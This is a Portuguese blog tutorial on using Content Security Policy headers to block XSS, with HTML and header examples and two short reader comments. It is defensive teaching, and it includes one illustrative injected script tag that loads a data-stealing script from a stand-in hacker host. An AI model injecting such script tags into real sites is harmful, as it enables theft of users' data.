Content Security Policy: uma arma eficaz contra ataques XSS

Cross-Site Scripting

Já discutimos anteriormente sobre o ataque XSS (Cross-Site Scripting) e os impactos que ele pode causar.

Mesmo nos dias de hoje ele ainda é um dos principais ataques realizados contra aplicações Web, estando na lista dos Top 10 da OWASP.

A regra para proteger uma aplicação contra esse tipo de ataque é bem simples:

Não confie nos seus usuários!

Não devemos confiar cegamente nos usuários de uma aplicação, pois não há garantias de que entre eles não existam hackers maliciosos querendo roubar informações e causar prejuízos.

Isso significa que você deve validar as entradas feitas em sua aplicação, isto é, as informações que são digitadas e enviadas pelos usuários, e também deve fazer o escape das informações que for exibir como saída, isto é, fazer também um tratamento das informações quando for exibi-las nas páginas, evitando assim que algum código malicioso que tenha passado batido pela validação de entrada seja executado na saída.

O problema é que os códigos JavaScript utilizados em ataques XSS podem ser mascarados de diversas maneiras distintas, algo que dificulta bastante sua detecção. Além disso, os hackers maliciosos estão sempre criando novas maneiras de realizar esse ataque, sendo que em muitos casos eles conseguem realizá-lo por conta de falhas existentes nos browsers.

Isso torna bem difícil o trabalho de se manter uma aplicação Web não vulnerável ao XSS. É necessário que a equipe de desenvolvedores dela esteja em constante alerta, sempre estudando e acompanhando as novas maneiras de se realizar esse tipo de ataque, e também testando continuamente suas aplicações, a fim de identificar possíveis brechas de segurança.

Foi justamente pensando em melhorar a segurança de sites e aplicações Web contra ataques do tipo de injeção de conteúdo, tais como o XSS, que a W3C criou a especificação CSP (Content Security Policy).

Para entender melhor a motivação da especificação CSP, vamos a um exemplo.

Imagine que uma aplicação Web necessite de recursos como CSS e JavaScript, tendo em uma de suas páginas o seguinte código HTML:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Exemplo CSP</title>
 
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <link rel="stylesheet" href="css/menu.css">
</head>

<body>
    <h1>Content Security Policy</h1>

    <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script> 
    <script src="js/painel.js"></script>
</body>
</html>

Repare no código anterior que a página possui quatro recursos, sendo que dois deles são arquivos CSS e os outros dois são arquivos JavaScript.

Por padrão, sempre que acessamos uma página HTML em um browser, ele automaticamente baixa e executa todos os recursos que estiverem declarados nela, pois considera que são necessários para o correto funcionamento da página.

É justamente aí que mora o perigo, pois se a aplicação estiver vulnerável ao ataque XSS, um hacker poderá injetar nela um código JavaScript malicioso que também será baixado e executado pelo browser.

Por exemplo, um hacker poderia injetar o seguinte código JavaScript malicioso na página anterior:

<script src="http://sitedohacker.com/scriptParaRoubarDados.js"></script>

E com isso quando qualquer usuário entrasse nela, seu browser também baixaria e executaria esse código JavaScript.

O problema é que o browser não consegue sozinho distinguir os endereços que são seguros para baixar os recursos, dos que não são.

Seria legal se pudéssemos indicar ao browser que os endereços maxcdn.bootstrapcdn.com e code.jquery.com são seguros e que ele pode baixar normalmente os recursos de lá, e que o endereço sitedohacker.com é perigoso, devendo ser bloqueado.

Essa é justamente a ideia da especificação Content Security Policy.

Content Security Policy

A Content Security Policy é uma especificação focada em proteger aplicações Web contra os efeitos de ataques de injeção de conteúdo, sendo o XSS o principal deles.

Seu funcionamento consiste em fornecer ao browser, por meio de um header HTTP, uma whitelist contendo os endereços que são considerados seguros pela aplicação, dos quais ele poderá baixar e executar os recursos necessitados por ela.

Para utilizar a CSP devemos alterar o código de nossa aplicação, fazendo com que o servidor devolva nas repostas HTTP o header que define as restrições de segurança.

Veja um exemplo de como esse header pode ser definido:

Content-Security-Policy: 
    default-src 'self'; 
    script-src 'self' https://code.jquery.com;

Repare que o nome do header que define a CSP deve ser Content-Security-Policy. Em alguns browsers, em especial em versões mais antigas, o nome do header pode ser diferente. Por exemplo, nas versões 10 e 11 do Internet Explorer o header deve se chamar X-Content-Security-Policy.

Repare também que o header recebe como valor uma lista contendo as diretivas de segurança, que são separadas por um sinal de ponto-e-virgula(;), sendo que cada uma delas pode receber vários valores distintos, que devem ser separados pelo caractere de espaço.

Cada diretiva trata um tipo de recurso em específico, tais como imagem, CSS, JavaScript, etc., e nelas devemos informar os endereços que são considerados seguros pela aplicação.

No exemplo anterior utilizamos apenas duas delas, mas existem muitas outras que podem ser utilizadas quando fizer sentido na aplicação.

Vejamos agora algumas das principais diretivas:

default-src

Essa diretiva funciona como fallback para algumas outras, ou seja, se alguma delas não tiver sido definida, o navegador utilizará as regras definidas nessa.

script-src

Essa diretiva serve para indicar ao browser a política de segurança para lidar com códigos e arquivos JavaScript. Nela devemos indicar os endereços de onde os arquivos JavaScript podem ser carregados e executados pelo browser.

É uma das diretivas mais importantes, visto que os ataques de XSS geralmente são efetuados com códigos JavaScript.

style-src

Essa diretiva serve para indicar ao browser a política de segurança para lidar com códigos e arquivos CSS.

img-src

Essa diretiva serve para indicar ao browser a política de segurança para lidar com as imagens utilizadas pela aplicação.

font-src

Essa diretiva serve para indicar ao browser a política de segurança para lidar com as fontes customizadas utilizadas pela aplicação.

media-src

Essa diretiva serve para indicar ao browser a política de segurança para lidar com os arquivos de media (audio e vídeo) utilizados pela aplicação.

object-src

Essa diretiva serve para indicar ao browser a política de segurança para lidar com os plugins (flash, PDF, etc.) utilizados pela aplicação.

form-action

Essa diretiva serve para indicar ao browser a política de segurança para lidar com as urls utilizadas em formulários HTML. Nela devemos indicar quais os endereços que podem ser utilizadas na submissão de formulários da aplicação.

base-uri

Essa diretiva serve para indicar ao browser a política de segurança para lidar com a tag base, presente nas páginas da aplicação. Nela devemos indicar quais os endereços que podem ser utilizadas nessa tag, cujo objetivo é indicar ao browser a url raiz da aplicação.

É possível também atribuir a algumas dessas diretivas, além dos endereços, os seguintes valores:

  • *
  • ‘none’
  • ‘self’
  • ‘unsafe-inline’

Ao atribuir o valor * a alguma diretiva, você estará liberando o acesso a todo e qualquer endereço de carregamento de arquivos daquela diretiva. Evite usar esse valor em suas diretivas, pois certamente liberar acesso a tudo pode causar vulnerabilidades na aplicação.

Ao atribuir o valor ‘none’ a alguma diretiva, você estará bloqueando todo e qualquer endereço de carregamento de arquivos daquela diretiva, inclusive dos arquivos cujo endereço for o mesmo utilizado pela aplicação. Em outras palavras, ‘none’ significa bloqueie tudo!.

O valor ‘unsafe-inline’ pode ser utilizado nas diretivas script-src e style-src, para permitir a inclusão de códigos CSS e JavaScript inline, ou seja, códigos que não estão em arquivos separados da página, mas sim declarados juntamente com o código HTML.

Um exemplo de códigos CSS e JavaScript inline:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Página com códigos inline</title>
    
    <style>
        .elemento { 
            /* propriedades CSS inline... */
        }
    </style>
</head>

<body>
    <h1>Códigos CSS e JavaScript inline</h1>
    
    <script>
        //código JavaScript inline... 
    </script>
</body>
</html>

O valor ‘self’ geralmente é o mais utilizado nas diretivas, pois ele indica ao browser que pode carregar os arquivos cujo endereço seja o mesmo da aplicação. Isso faz com que o browser bloqueie o carregamento de arquivos externos, algo que aumenta bastante a segurança da aplicação.

Mas nem sempre o valor ‘self’ sozinho é suficiente, pois é bem comum que as aplicações dependam de arquivos externos, como bibliotecas e frameworks, que muitas vezes estão hospedados em um endereço diferente do utilizado pela aplicação em si.

No código da página HTML mostrado anteriormente temos essa situação, pois ele faz uso das bibliotecas jQuery e Bootstrap, que estão hospedadas em endereços externos, que são diferentes do endereço da aplicação.

Daria também para faz o download dessas bibliotecas e disponibiliza-las pela própria aplicação, evitando assim a necessidade de adicionar os endereços delas nas diretivas style-src e script-src. O problema é que nem sempre isso é possível, pois é comum que algumas aplicações utilizem uma CDN (Content Delivery Network) para hospedar seus arquivos estáticos, tais como CSS, JavaScript e imagens.

Testando a CSP

É possível realizar o teste da CSP pelo próprio browser, utilizando o Developer Tools. Vamos fazer um teste da CSP tendo como base o código HTML mostrado anteriormente:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Exemplo CSP</title>
 
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <link rel="stylesheet" href="css/menu.css">
</head>

<body>
    <h1>Content Security Policy</h1>

    <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script> 
    <script src="js/painel.js"></script>
</body>
</html>

E vamos considerar que no servidor o header da CSP foi definido da seguinte maneira:

Content-Security-Policy: 
    script-src 'self'; 
    style-src 'self';

Ou seja, estamos indicando ao browser para baixar apenas os recursos de CSS e JavaScript cujos endereços sejam o mesmo da aplicação.

Se abrirmos essa página no browser, ele deverá bloquear o carregamento das bibliotecas Bootstrap e jQuery, pois seus endereços não foram incluídos nas diretivas da CSP. É possível verificar esse bloqueio pelo Developer Tools, na aba console:

Bloqueio de recursos

Repare na imagem anterior como o browser realmente fez o bloqueio dos recursos, e nos mostrou uma mensagem bem detalhada do porquê eles foram bloqueados, inclusive destacando as diretivas da CSP que não foram respeitadas.

No caso do nosso exemplo anterior, como a página precisa de recursos externos, devemos alterar o header da CSP no servidor para que ele libere o acesso a tais recursos:

Content-Security-Policy: 
    default-src 'self'; 
    script-src 'self' https://code.jquery.com; 
    style-src 'self' https://maxcdn.bootstrapcdn.com;

Com isso a página funcionará corretamente, tendo seus recursos sendo carregados pelo browser:

Recursos liberados

Conclusão

Ao utilizar a CSP, mesmo que sua aplicação esteja vulnerável ao XSS e sofra um ataque desse tipo, o browser se encarregará de protegê-la, evitando que os scripts que foram injetados sejam carregados e executados.

Essa é a principal vantagem de se utilizar a CSP, pois quem cuida de verificar as políticas de segurança e realizar o bloqueio dos recursos que não as seguirem é o próprio browser. Isso evita que esse trabalho tenha que ser feito pelos desenvolvedores da aplicação, e o browser acaba se tornando um aliado da aplicação contra os ataques XSS.

Recomendo fortemente que você utilize a CSP em suas aplicações Web, pois isso vai melhorar drasticamente a segurança delas em relação aos ataques de injeção de conteúdo, tais como o XSS.

Vale lembrar também que a CSP não impede que os ataques XSS sejam realizados contra uma aplicação Web. Se sua aplicação está vulnerável ao ataque XSS, mesmo utilizando a CSP ela continuará vulnerável.

O objetivo da CSP é bloquear o carregamento e execução dos recursos que foram injetados na aplicação, e não impedir que tais recursos sejam injetados.

Portanto, deve-se utilizar em conjunto com a CSP as técnicas que evitam que uma aplicação se torne vulnerável aos ataques de injeção de conteúdo.

Continuando os estudos

A especificação CSP não é uma novidade, sua primeira versão foi publicada no final de 2012.

Em 2015 saiu a segunda versão dela, que incluiu algumas melhorias e novas diretivas. Há também uma terceira versão dela, mas que ainda está em rascunho.

Os browsers já possuem um bom suporte para a CSP em sua primeira versão, mas a segunda ainda não é muito bem suportada.

Você pode acompanhar os trabalhos da W3C quanto às especificações de segurança em seu repositório no GitHub: Web Application Security Working Group repo.

No curso de Arquitetura e Design de Projetos Java temos um tópico onde tratamos de vários assuntos relacionados à segurança em aplicações.

Na Alura também temos um curso de segurança, que foca em alguns tipos de ataques e como se prevenir deles: Segurança Web: Vulnerabilidades do seu sistema e OWASP.

Recentemente escrevi um livro sobre segurança em aplicações Web, publicado pela editora Casa do Código, e nele falo bastante sobre os principais ataques contra aplicações Web, como verificar se suas aplicações estão vulneráveis a eles, e como protegê-las: Segurança em aplicações Web.

Já conhecia e utilizou a especificação Content Security Policy em seus projetos?
Conte-nos como foi a experiência.

2 Comentários

  1. Paulo Dias 14/02/2017 at 00:08 #

    Parabéns.

    Eu não conhecia, mas vou começar a usar…

  2. Tiago Menezes 20/02/2017 at 11:07 #

    Parabéns, Rodrigo.

Deixe uma resposta